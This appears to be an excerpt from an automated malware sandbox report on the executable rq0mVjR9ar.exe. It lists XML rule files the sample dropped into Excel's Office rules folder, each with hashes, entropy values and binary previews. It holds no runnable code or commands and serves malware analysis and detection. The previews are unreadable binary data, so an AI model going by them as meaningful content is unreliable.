Preview:	<?xml:>yXH.......L.J.<9>...=.]Y1....].ua4.....&iuS7..9..WM.CH.._?..k..Hu....9U>`.E..Q.....$.,.j....\|...}.z.{.]...S.$Ku..9@..Tdr.3A.....U......'0C..L.....Qj..7#."o.....RV>..r....J#\|..j\|.............DP.....6.G.N.....TU.U..._..8.D.D.."...{..m..x.F.,J....e&i..\.7h..]@0CPH.g...2.U.(.}..C....uR&$.A....-...pJ..>..7[=..sh.k7j..x...b..P\........o.G.-]..Xt.r..........F.c.. :8...K...&f...VeE......_>\[...Y..K9.gR~l......\|..z..z.&.M...7.ei...(.~r..Y..T..lS..B..e,.L.HJ.....f.jDV.,..$BH...$..b.l\..~sd}=\...T a\|..0...^.cEFKyf....p<.2..Q.M.\@W.b.r..d....!...~.h..? Ig.X.F...........t.....-..m.8\|.A.8...N_ad..F!.J.......N...-......P....(...j.&V.5e$..x.,.\j.~...;e.g/f.-.Z..a.$f.... .Y}#....., jf...v..h...[q..$...pq0.0...6q.p.H..P.K..7.....$\\-...bd.9_.sv..Q.Gb..;...N..H.....;L!fl6#M..yb#.. .@..H.T.6..yS.E...J\...F....._QF..[.../,..RPZ.Gw._...9Xv@... .).s.$...........=W...*..$....+..U.....Hit...'A.x...&.R.Bs.....+...D).\......M.n..k.>l`...=..$.E...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700000v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2037
Entropy (8bit):	7.902852674033506
Encrypted:	false
SSDEEP:	48:2f9MQkZer8oBsRFOBCSFdjivSZXMZ//Ej+UsaUvf2RfP4iD:8yNerVOFOBNFdjnZ8NsjOf2R
MD5:	461833C76B7BACB129D7476E08336EE9
SHA1:	03FF1295801E373E16C830C941C330585103B31B
SHA-256:	CB94DDA515727083518E2B7E00ED9E9B417105B92FF11CD1D2969C830EADA42E
SHA-512:	4406851ACF48586799CB2A1E10E747ED3BAB825614DDD3CD1348046CEAE431900036B3B5545487318E4480A3660AF6F21C15FADE06AA1A2460B4390799907CAE
Malicious:	false
Preview:	<?xml).....t.k9-V.l.l...F.. ._.%)!....W.z.Oo).m.sQe8e^......A.......j..U........k..8".!....+..x.d....W.+..L......Y.....PMK.5.J.(...;..e~.5...........y.5.W.C....kz.tyYP(....5.@.~.3}.....0.\|<.[:R#.J..h......5..y-....v\|..O/f.."..%M.tO.a...Mg\..#..X..e.~+Q.?.v......=.?.."......x...$pk.Z./.k.-.3s..9....e....i... ..L.+Um,.0[MGtr.l..0'..Lw.3.......x.J.7.).@=L2.8.>}.@x...8 .F...0..{....O.Lu..C....diz....iaS+....8.M.S%3..i'0..W.....xX.+!.&w.9p.'...`...!..\|-.\|..L.yN..>.........D...k...l...k...-j&9....Z=..9y.....s..z..I.!\.X......S.)H.A.Z..[2....`c5..%N.D....]..yo..t.+...X\|.A.e.a..WF....3.x.3.......Pjo.c..........j...ta..:aq..o/m^+...Z..#..+6V9i...1[.H......k..P.Gz..\.G.\..].u3....zW.2.aVH.....w%..e...F..6.g.~Wo.........Xu.f.q>..LY-......[L..JM...l,..V.CB#...'..5..jeJ.{L....S&1..nR...B(....F..j$.......w....;....X..@...#.QP..N.P.L'..{.xb..J..qr.`.l.?.N..+.....T.f..O.4uF....z..H....u".Q..2_.r]m.v{]$M.x.Ok.bMg...Z.h...S.P.k..s..E.=..L..HE...y..'..c4.I...cdA...6.K

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700001v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2074
Entropy (8bit):	7.910852264438046
Encrypted:	false
SSDEEP:	48:ScP9D/3nTz+L3cS8CnmNLhzjlaehGroaLUiD:Vl7vQ3c7cUZjlPhGD
MD5:	64B3777E2D1C388E42925FFF6D6C7E46
SHA1:	57F2FDFB0AD904A62D2DA2CF14A0E49BC7E331CF
SHA-256:	E3D36B7DE09691DB0DBFD0816C83FA3562B155966E863111A8B48C38AC874ED2
SHA-512:	EE4C04C0B399D05D095701AD81D5634779B412FB2224538D9C6DC7FDE464EA173E18F1DAB3EEDFAE8851341470BA27E0AE5856E3FCBD47041B7C054328F8FE2B
Malicious:	false
Preview:	<?xml.w..V:F...1.H..&Y.......P;....P.j.6L.U..9\|`.m.r~'..TD..w1..6..=.N;.C..0...\|...5B..Ad..l...t..:.#..J..P....:.U..m...ed..p&.^..N?...<X.../..M...{.<M.pD..J\........q....f.Y.3y.~...3.._.[qK.z..I..\..2..!W..%S...\kJ!`M!..[.....@....j.L.;.....a...<.N..l.,...^...s5....y.}.f..].:[C{..U...z.X;.........N.ME.G..r,........'.h...W.s..k.w..b....O.s......`..7;. {....k.[.zdE..\|...YlL.R-....b..g...........N4......6......%RL._e.r.....F.......B.[./D..+..'.....9L..!.r....e.+?....%^.....R.}k._ ..}h ...Dh(.....cG.Y..R..U6~.">.Sij......ubU.....4fx....@H$.n..R..?...FW...6A:6...,..X.J.s..".:.V..t#....L....^......5.G.?..~.B...`..pk....g..T+=..33..mO.hb.....1..f..$......oM.4.\|.K.%MW..^mI@.....I.HP...\|...Y6......K..4..y.!...&.i!.9]%...3..].a.n.4si._^2.r..JMx.\|...q.9.z%..Ep..".H....nU....E....1...'.&.4..."..S...=.+.n..r.k...vl......(Q!.:...[.4... .q..\|...E..e........a.o#...M&.[..d......vZ..g]Y.G..H.....1U..B....<..':)....[r^.x ...d.1....K@..e,%3..Qs...........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70002v3.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	7.78429120931614
Encrypted:	false
SSDEEP:	24:LppurevP1AYzwL2/B2tS+C4LLjOHnDiiTkbD:Lp4re6IBUFC4LHOHDXiD
MD5:	DEE7961C59AFD7A507A47BE4771CFEBC
SHA1:	81BFC9F0B1F12B8092329D74BC8E58FE1E78E6C2
SHA-256:	6282B8A2A5F4A1954CA253779F9E9CF1A61F0C375DE63EB01948B7F0BABDAB32
SHA-512:	B4FC972083B2409741CA13308AE783FD0A657F0CB65DE27C213C46A2B062B13A3526B7588072F35774A97A40AB0FAA0BE6852543E05EA6774C202A63C4FC4B89
Malicious:	false
Preview:	<?xml.U......r..c....a/.h.c..c.....G......u..@.,w.H..H.P].{..l.zu.6.~4.M$XQ..}..w^.U{C[..C`[kyb/...<.+.,+...;.5:XI..[t#9p.nh......&.x.......)}cR......rn.....yp.m...f..5?..Iw.....O.....H.<.g...d..+..acO.....O.kv;.t.l.w....5......+f.......~L..Ske.).{...i+.;.3...l...k0}.D...e..s$x....;....1.X.."..rV%".w..."..W...k..x3....`z:..l.i.../_T.D...r/.'.A;p#..V~..YtC.H..n`.X'.....`([.![h. .nT......E.<...I.....+..1bZ...I. .......V..g]....."....h..fh.0y.........`h..t.]Q.&...T.Y...Jq..0..S.i.....y..s..~..._..V.'W..\/...R...[.......I.t@l.h'.Qd.`.._2t..y...B.<.W...5.e.....r..i..S;f^....Pk.d.G....3.LUo....-./..;..U..IP..t.a....g...o. '...{.v..qF@..sh..)u...&.w........2G)..2.[..T........8.aK...d..$9d4..Q..[Q^7...W....l.GB..6..x.n'..?..*._..q...".M.T..>.."........r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70003v3.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	726
Entropy (8bit):	7.673165195036327
Encrypted:	false
SSDEEP:	12:c0rCOPknLHdR3ASpAx643fuDOo5azvbEhjk9gZM2KfPvxtSd1UhixpZacii9a:9rPPknLdRpAxX3f6Oo5obEhjki0PZtSA
MD5:	7AC557EFAA2B6481A7A7806D711FBBFB
SHA1:	5736C008F6C35C060F567648D86C277DFF6D6190
SHA-256:	7B3A1DC426EE42E4626E37B4C5C7C46AB0DC08C3C58F69749C884CE33846E373
SHA-512:	C85DBCBC1551BD87900B6C25C797C794EB813032EE5DCFE4E5A5380FF3877B2DB666904346DF5C1B2D10B11EC51B5603960F0D28EEBACE7C9240817011011C7A
Malicious:	false
Preview:	<?xmla......+.tH..'.\|.wb9P%.....]o......;....O....2...g.)..c...'/.G...C.....#U.Ll.6...+J P4......).i>[.!.......k..!..3v.y....c..z..T..r...z........!.."..'\|...2..A.lG.r..._.....LE...H.w..O.Z[tX.t....p....3....q..?.H....9.M.'..=.O...+..EaO........B..G.S..........Y...6 .+...X...BZO5f..(.6...7..i......xth..........2'..q..O..........T...E.}%.B.b.....m@.)t...c.Q.D....5v.;..G..X.4..u..p.D.....vX......3J.1D..3h<l9...'.z..3.bNV....3.9....z{m...O'.W.`..N...C.U..r......xK....._.......#...?y./...L.r..Nxb8,....B..(`a.~*.<...5L.y...y....yT/]u7...A...,~...i..(..K.).o.z.C0.&0V..RY..L...3.. ..8..]\|S...4..0..q$)X .m.Hr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700050v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1685
Entropy (8bit):	7.879154571647791
Encrypted:	false
SSDEEP:	48:F7xSEgyL7iQNWanTsbfOIKJOmxl97ILiD:FlcoiyZYOAm7dIO
MD5:	F74AFD22A93A1927837034BBB84AD3F2
SHA1:	FFF10907755A761C3EEB0BE86FA454B13A885C00
SHA-256:	3CA3F5B4CA1D59A69903C4E3B1FD8D29C986B22889A3B95586DFCBE35EAE7EA8
SHA-512:	B0D1479D8A568DAEA9A3FA92452FC0C5C78EFC6DD00A08F6698C419962F3290C856DEB46A15ECB8873F5D58E0DEE5C330814AEDAE39AAFAA270B5D1B6FB58EAE
Malicious:	false
Preview:	<?xml...T.8...O...5.....i]...M......<.o..B..v2.'...nu.CyB.N'n .L...\|a\.._.g..+.u...<]......[.t..e....bL.y.~.M....%&.64:......v...d.MY.+..,d.........0@.z..H.._..2..ke.Z.k..yn`.Tni..%Y-q.m:^..h.M.t;..`......Ra...-].]/..y..8S.l..Am/.s4S..0...< 3..z.h.\|..uB%C..3K........DX[........F\|h..7.'D.c`.&\|.D.}......w..Y.8.$..Ho.....K\|.......2{I.2...x....g5k0.....+.,_.g.o.._%b..+)X..f.[.+..}gM..B(..#..&.F7)?OR..>...E..&..q........\|.?h".f.b....Sb#..lP.8......5....5.[..`.g.!...a.q..H..d..x..$#.y.Q..k!/.B0Hm.B....R.k..H.q....$.....!d...>..=.b..^m..d0..#-..v..p..4..........G...E..X.i.pt..............M....Z......Q.F..a)\|.......&...a~:.....Ls......"?..E\|#F.....'..X .J..F....g..f......)Ngh...+q.N.......7>..8.>.5......^..Z`....^W.@..Z._.m,..@T.e.e..I....`#,.a.&.amo.V..I.5.'ez...{..s..de..\|........a....E&.v....4r>...q.%@...!......-3..Z..2.mD.@..C..a.~+_......&.b...d. ......S.S....$.p.2.......2<..?.b,H&-...#.F..P$..m.wnKw..\OD...1..~$,8.&6.[.P...eG ..X......PagL(./KCDh.W4.C..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700051v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1722
Entropy (8bit):	7.896394280093603
Encrypted:	false
SSDEEP:	24:GnORRXQ7ADIB/DLk6UnNxEZ4kVR77wCmk/lHgeExYaKnnI5+P8mSOELp0++Eziiq:XDsADav7UyvfwCxH4aaKn10lP0zEjiD
MD5:	0694DDC6FA9230B3A27E15001BFA5E87
SHA1:	8E4FBCA17BA3D3F33E73980E35F7D4A9F7015738
SHA-256:	AE97872103988E3F040BDA648C0A7E9A106BA4BA80B98287492F269B1164AC0F
SHA-512:	AF7B11ACC1A430BB66E0DC3B8B24202A7AE09315FCDCB2779534920D460AC24D61095DB84CFDA69D59959B2678D089B39852D6503FD7E2172D40EF80AD05F37E
Malicious:	false
Preview:	<?xmlKjJ..Iep'.}D.....H........jC.z.~.1X&.o%YaP.(..V\...a....O.+...t.~Vf.[...j.....C].....\.r.'....;..L.d.4...fO.\7m6pW]..r>.R>CJ..H.......]...2.[....<..-.X........O...-..%.f....>..\|..>....0.bZ8..b.[[0"X._...Vl.3.m.p/..leR.i.......{X.).=..dy...!4.Z....S.mU\|3(....~....p......I.N}..y...B...S..........k.G:.$bX..:..\...T.y.:N\]#..$.h..(.......IX..r[....B=.....\|..y.. Y...eO_4.z_'..bU...gT.....J.\.4............Gm..B.q....oU..&.......U.....c<...(...p~W..T..D..pN.pq.8....S..\Z.V.D....E#9..i.8i....,n...J..@n.$.........S..J..j]G..w.`..q.O:..>..].V...]...I.lZ...?@.V..=}.;L.......p.,&.^DF..i..l.xL..3..o.#.m...gk/Ck...j..p.M..;.$.......d.Cn..aA...f4.yW...........'...M..(O...J.....m..[.j.../h.....8.)..."...(.8I5..cke.d..h.p.+I...Su./Z.t?_......(..X...d....Y...Uo..^...2P.2.....A.....I.I9..I....h#.Lk'.iq.'?.o.Rw.......[...B..XS.....I6..LQR..{Vm..M.=.._..@&.O.._.........=.Y..#}....92(x.(..yn......a..&......=..pb.w.1......(6.....o?F.:.".Jy..R.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70006v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	764
Entropy (8bit):	7.74881096094105
Encrypted:	false
SSDEEP:	12:LXtIqRtAlvYkt/Y9QlGdL+4AS545flEcO23EJ5o8bRtkcV2psJaWixpZacii9a:LXjyvYkNSL1Mlc23k53NtXHJaWiTkbD
MD5:	8C3055CAE8743B2EF4B2804538507404
SHA1:	FC816208618A56B49E8F70CABFF845BDD8DB7028
SHA-256:	EA53B40634645174F4DC6DFAFD9B0D245D4E3AF71C7A681F672AD73A6545F9CE
SHA-512:	36F670E993D8C50AF8A01DE265CEFC70BCA7C557EB73F3ADC518F0ED08A4499860D476295C221632867B95636526D98EDE173063F527E9EED0044095C4E1B097
Malicious:	false
Preview:	<?xml.YU.7.\......f.."..{O..x.f._..y2&.......`l+.:._.........E..M..V.O.K.T:/.s......7.O...n.ly.dK.i".o..o.h.06......l.SK."3 ^3/..ZLs.v.-....rbY..P.];...bz....Nt.S.<.$....2wf.....\.m&..d(...X.....w.47..,8.8/...M.j....J9...IU.wj......;...c..KB<.y.C9I...(.&.@,..y$.z....).wE..'N...M&..W.....\.?....'.h.k.?l..../...Y.[\|.X.J.Oq."F.lo..{...Y..1<.....+[P....b...xR...\y....%.!..r&...._..K..E9.BK....zP.7..D7S...:.OifO.....).=.."...q.......2=t..3...2R ...../.W...:.A.X.K..`.>Y3..:..L.."..".....!.~.>L.X..gyM.U.d.....?.6*.6_7.8.Q.u..k.\|.sd..0.J(..2.RZ...j..o23U.R....<.q....Ey}.\|.....J.B2.+...H.`.f.)..'..L["....{..].).0.jDht...O..e..V...#B:i...^/.......1...3r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700100v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.897002584684879
Encrypted:	false
SSDEEP:	48:SmIwjdVhRqsjKbf6bv6AydvyXM7hekiEAvPHxXiD:zI6drof6T2dvPV7GRa
MD5:	AB1C952B139B9B55423CA498D0159AE4
SHA1:	88C3AC0ADF81B0F3551F03767CE08EFC7A568149
SHA-256:	A9DABEFD8F40AA8A25C5AA277A732EF96272374AB565CF55A8870630EE01208A
SHA-512:	DF41C67D369E4A079D868CA224C44FDAF84C6B0E9EBE17C992DE9FD9BCB0A8E9139B333AC8F154A6AE6E56A95ED2969075B19F103C18A28470FD6F24E6F0B16F
Malicious:	false
Preview:	<?xml.9...G...4....o.f."..{#S...vl..qZR...g.y?.._.i....G.X.1.Jk~c.M....{`.m,.H. A........D.0....6...=..(.T.!.....#........'\|(....2..o....ca.q..(...#jf...}..<}Z.hKK..v...;E.m....`..4A.qJ.h....J@.r..v..b..A..T8B..A..4.N....e.I..z....bt.q.!>.6]W.=.....o.J.a...Y.s....&8.fqk.!.Jo.b..Tz..2._...J{n.H..M.7.._W.{E....'\|....]3...-O...[.b.LJZ.}Tn...^../N....7$.s/.^w._....y.w#g...;.e.wt.o.(k.......1...p.r...{:8pb...2JR.I.1+w3.x.....#...S..IS.'."...Gc.>..O.....5..........[....Z.<..".QjFdH...}......!.!...............@...+.1..%,.}.Bt<.\|.....a./q...V.VQ...n9.?yX..l.<.l...=..Pgt.?..}.W."...\....=..S+...u.P4(....N......C.V....Z='3-....B/.o."!i.1..>.B.W...$.O....:...9.$k6~.S....0..~o..i\|.w8..abRZ.7.,....l...MLy..i5s....6.Q..v....F.r.......R.....K.....G%#Z..z.s......_.h.o...YNN.............m.#Wn....~9M....._.$.BnIG.'.].......]c._../.6..<.k..n.T...8.....m....f.J..E......T..&......6lt].-..?..y....OP.S7].@"F..;......;AQ6C..~.,...y7..D..H...)....YQ..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700101v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.900184146759448
Encrypted:	false
SSDEEP:	48:gWvEAwNcke+MfroO3oHpbfEKr1ognVQ0BtXKwTQ8Yw+QiD:gWcAwJe18aoHpVr6M3Kw8bDv
MD5:	7DD891157E44076D9015A4F358F0EBD4
SHA1:	22464E462DDD1697E36D2DD7DB8B5B72D00631D2
SHA-256:	71EF7E332BC37BA7CED1DA8F6A46CC011B8F62B005C823A7D155C4DCEA5AE91A
SHA-512:	14A8ACEDF9004D4A63EDB62A4CAA09ACD851308AF7A3EE4EB18E6A1D1EBBD21414794FD39F45A203F89A388AA13B15180AD0E293157C3FC86D3104B17BAB3ACF
Malicious:	false
Preview:	<?xmlT....o6.X.o.~...1...q..^w.f.f3..3...n.p_ ....i~....h).....w..Om..+.K..W...._p.U.......S..m\|..+M.31.....}.m...K.U...Ih...@...)..&.U..6.6k.....Tj...pd.5c_...d.U.d.......<RNH.a.P.;@q...a.<...>i...q..GL.........m....t\|:.hk....Du6@w....B....I...8......M}.?m..Pc..........78V..`. RfW. .9......."kI.....S6@8,..lN.Y..s...qb..Re...p9y....u....m...={.....M.....^?...-.....D.%F....Q@.lj/.,...\..a...>...\..:..J}......gU...I......zn%..[).........?l...\|.."%{.".....s.7...hEQY.....o3h...b..KY@..@...Q%.......G.H.....i\......\..x..fEy.H.3..."/Nf}.A..k.....h.....h..ao..4.h.V.w7.+`...gJ..o..)........"......hS0..aCv....j~l/R.x...N....1f.u...p.?...u..(4.2..H.'.b..S`...~.......tc.8..@"...C.Q7.\|#...^l.....`f......K..Ae...I...j.{.....h...(6..06.~..]...5...SH4.-`f+.#...a.z..b.\...Y]7.".0Q.UM....Vy&v..8r.._.'.<Z....G:D...q.:..$....ye...e.!.A.$C.l......E.x.v.....%..D.(.......K..r......q}/..._.2..&.$.H...;..{R.pk[.V9.u.**.L2.A.....D >...<zU.....-.)....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700150v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.883029574842372
Encrypted:	false
SSDEEP:	48:LFd8Q2Eurh8UYB/7R1QaKjw1LuoS43f+FoJKZk/nJ6jLmJC+eqpQiD:LTVo8/hR1QP6SoJKivojgv
MD5:	E33E7EE1D159CE3C62E9F38CA2DC9A12
SHA1:	21CFF4B7C6221B91BAD60ABCCE5F758502B370C6
SHA-256:	5EC0E6B9F5EC68F01EEC6C5914175A645B924B6589DD67EB8E2237C17C5FC140
SHA-512:	51A6AE406C23B2E0B652D613A8E55FF430F2E6A8DDE8617ED097A05B520D791F6487932319331044EC0BA8AA6B8331C1E7EEF225AD46802E86027C7768C7231D
Malicious:	false
Preview:	<?xml..I3v..UV1K}......{IS.-<..,........I_......u....:U,.f.9..L..+5"..a..}..NbG......[l...9?.3.f...Z.PS.5KC'.)..q.e.\|...fZv..S.Y/..+.#..7/.$u!.@......>}...b....Tb...#....!H.....f.)z..N.aY.......B....!...@....@h....P.$...O..'g.L..C.tZ..i=.4U..}! 5..3.......=k5...A.6..x.....R?..8.6\.^x....o.Y<.?}E.(.W.9T,......../.<.J".'w.0.]q....l.a7..m...._j...y..z.t...5...U.i...4.....u.~b.S.Bl...y.......s......R.t...E)p.....B>b.~R..%R\...........9...@..d..}.....n~.......R..Sa..IC.4.n.I.......XLX..8..}G.,.E.Ai.....c...VspM}."a.#.@h.e%J.%...Z.i6.sE?[.V.....4R.\........!.Ve@...i.....$.6....._2^ ....z.5)y(..^.\|.)...Jk....yV.iM.\....-.Kz.G>......Q....1........Y..RO.].....S.....2JX....nr.h....!<L.Q....E.....{..v+..5..........m[..v.`G...&....}.s.lb..$.+d....t\muz..s..=..._H....vu...m^.p..>.....1.6.KB......pY.....z.=..o....J...CO....ch..z....C...6.M.a....5b.J6.?.ZiB..AG..Y&..1.G..rR;(.!-s..WH`..%...\|........B..e.Q..}.......O.H[.3......Z>%.........../5S...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700151v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.8812142382555335
Encrypted:	false
SSDEEP:	24:4p5bVnZ+cQaG55avS00CdMxIbAe3fFVVH7djpEfB0qz9psNcXtyf6qiTkbD:OqavbjjbAIfFVVHJjp69psNOPiD
MD5:	B5086B2B72AFC0332A573C06ABF61801
SHA1:	A6E161891454727D9DF134BF4687148AB26F7EB9
SHA-256:	5276B3B9EC70F02B62D6C3A380FF99EEC3AFB187B27E5F869452938C9F88C047
SHA-512:	51265EB1F86C5195CA13E801E63B45EE379B9052C9EE9B72EAA4B39FD85BB89D909469C8643215E78642C96D88FD0A4A24D1F66FE2C669FB2164B2716C4F7FA2
Malicious:	false
Preview:	<?xml.H.pe..U..<l....\|...$./......<.$a....cV..o.'f.^..6g.(.i..Bi..'.x..+.=z.dm[.=m... .a=...E.....@p...R6t.:.hx.Rc.....G.g.2......0[..MA..pr.ZP........ /.kebP7....n...O.0....BWK........a..<Yb...?.....g>..:..8.{..<f.h.j........Q....j..D.\|..d..C>.I..5./d...E NV:..c..ES..MUoRY..^..n%..+...Q.R.8..7.zO.....D.=>.......p......Ap.q....qC.= F.X...9..11.T.K...'-$....#om\..?....d.A.q._njx.f...hXJ.....r'.!...b..C\3.9t..o...i....d....w.Bf...o......+x.(3.v...;........ .2N.U......V/.N/.....F8....& ......4.&2._.-.3.n.`....p..$3~c.#.u.....eA;..}.{2..=..JT$a.........)A.....+.+F..+...5.[....$..i....o...E..X....[..;.3...>$G.8.Xs..(..O.2..Mr...CNe.,....O7j.....1..b.-q.....[.i).%.%f-.....Q.....@.C.l....PD?"(..Sh.(..\|D'._S. ..O..f..O...[y-w...0..z....,=fj....\|..UUYf......m...i%..D@p'"Foa....Ti1.."o.F....F"......_...P.0..Lw]t..jp.U<6l.5.N....7.X...A4......N.,\|...I............u.mY..]v..].J.1...<..E.M.T.Ie..{..M.Gy'`...<p..s........O&..&.M..H.....K.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700200v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.878259936704437
Encrypted:	false
SSDEEP:	48:6x2MKPwaBmHMD8o8zA3Zem3Mlqrb+9c0gFRBm4aiD:BMKYlzuZX3Msf+9Pm
MD5:	B42A53552ECD71349554F4D9A99E398F
SHA1:	EE68FB706589598A18E2F25904D0B597E5EF5B5A
SHA-256:	DFF6032E9B58EE28F27C4810B03B76B841549E63B815A009C63227B68C0DAE42
SHA-512:	E6C12A1AB0585888B1FB88DB9D81E46F4CE6760145C8C15AC083135543CFFA6D67EB15F719C53DDE98B81255AC720B2D618806AD0E70521DEA11F72D4BB53B9B
Malicious:	false
Preview:	<?xmlU.c,t..G..v.5.$...^.[....y.?..Y3.U... .^.].4......hbTIBk..v.L......{).+......j_...G.....&..6.....a.:....\|........l.....c.<.y...D..S.=...,@A +.}.K{.x(d.y&..9.#.Z...[......gP~\|.4...dC..4.......T.oV....,.!.v.....EQ.Y.....(qO..!08... ...G.J....2J..8..[L....S..N,9I.......8.......E.z.L......U...U/..4u..it...tE......,e$.=C....VN...Q...E.T.........e.lw..!/...>....<.L3..'O...=..P.K....~N...Y..l.B....bw..d"..5?.).u..t.6r..J.i....{B...GN..(...".\|........8}z@.u.;.uG..U\.u.qSt7$.:..h2e.@...N:..H.-.;-..'[t..X.b..S.)O.xO".#1..H........o....V.^..E2.,...Z..4.xX..J.Ww....p.....w...).{..%(.j5IwzM.1..A.M='j....E.....`............6\|.nm.R.....^.(...U.#cT.....P./^\|..r.JS. ..^..rW!...}.d.{?,..0..QX.Z..8..L..$....[...P4=.~....+7Z..1..r..o{qL..7I?6I<T..J....`U...a...e6.....x1.y..hs..RV.\.....{..r...~...[.0bsH......[.&5I....kd...d.<.u.`$Dm.y. ..T.<.6...`.ATz..u....4oH*>..u..\|3m).m.41...Rs.y.{.k.#cE.X....d7;....\.ZbK.7...>I;.6C..8T.f..!.9.s...Io)...r....,>K

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700201v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.890314695602876
Encrypted:	false
SSDEEP:	48:ObMzFmhYeWCY0zCpm+CaRrbzHHuoJMFKhiD:wMh6Y0+EraVHHuA4N
MD5:	F1784246779FE170346E241E171FEE57
SHA1:	2774417D3AA5DB17380EF5271D7A13760B4ED8D9
SHA-256:	CA09B74F3D48A524E15E0D8CF6435B46D1C426299DC7B881AE5197D96D1BACA9
SHA-512:	34CC45AE6736857AE49DFB28F2A158DDB8A5D25BD6BC84A838DC271A508D92F2405A0FE363A55AE9385DAAEA7FC57CCACCEC6112316B3C6F8CCD83DEDCAC0E36
Malicious:	false
Preview:	<?xmlS.a..........6....#`N...n.H...T.K....3...q..z".....(...X.R8....P/.$\1.]...!g2T<T..r!..1.jJ....J......v...........D...>.....Q......]\k..5.....2Y[o$...@...9O..y..d.'.'...F?wg..[.J.......&p.....q.zR..G..W_..xh.Z...G...5..c.4E.\|.xT...;..<F.O...e...e.:.....z.Z6hE....~.&.%..1Q.#&.xS1P.\...z.J.....^.........b.....o...xF(.oD.......og...Wc(..........iB.B.............9r.$P....(..M..I..E.....m....t......g.....#-1.9.^.=...CV&'Zo.{......T.H%c.M....{...} ?.R.b....v.T'qb......F.l.^......k.p\..uO.6........n....=.@.X..sq..qU...=>R;.;.........T._a..a..d6..B Xs....'..8.N.........H.....@}.w.....Lu.vgW...z.......KGV.....-.?...Zjd....1.q~v...,y...o.....T!c........%...SH_w.=..Q..5'..pG.H.5..(...7...)DE._Jh.Z......n..^....".x..3...j.r.o.D.........P=9.o.h..X..-.Km....$.L6............Ql.n.......:..n..G<....47..0..._.v...e6....KF..1id.@s..+q..D..NDb?Z....X..B.r..(g?.K ..'Q.Z.........aH.*#.V/...Y..Z......6...R/..5>~z.5Ec.....6i.....}...T..!.#...%A.+.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700250v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.8925732210407675
Encrypted:	false
SSDEEP:	24:+urFdKYvuyuwcpDhDQa3GTtoAJJkK+rYL4vgm9s2i/YAGi17OLrhCd5e/liiTkbD:5aXyODF9So6SK+CV4sx/HGi178rkKRiD
MD5:	366E201B68F3E7430FA71E15BD2A9D1C
SHA1:	13FCE38941E089BE9E2C4A165E8C23A563FEC19D
SHA-256:	6BADD4E388BB052E292E38CD6685A8C06F9D3B7160C6CE9165AABC65865FB870
SHA-512:	7262D06034165EBE9E0E1695CA2B5157DF0D27B62EEEB95AEDF35F9ADB9F4F8D18CA792180CD37F7BAB7B1FB480F64EF856DD05DFD2619D13A081024CDB30D73
Malicious:	false
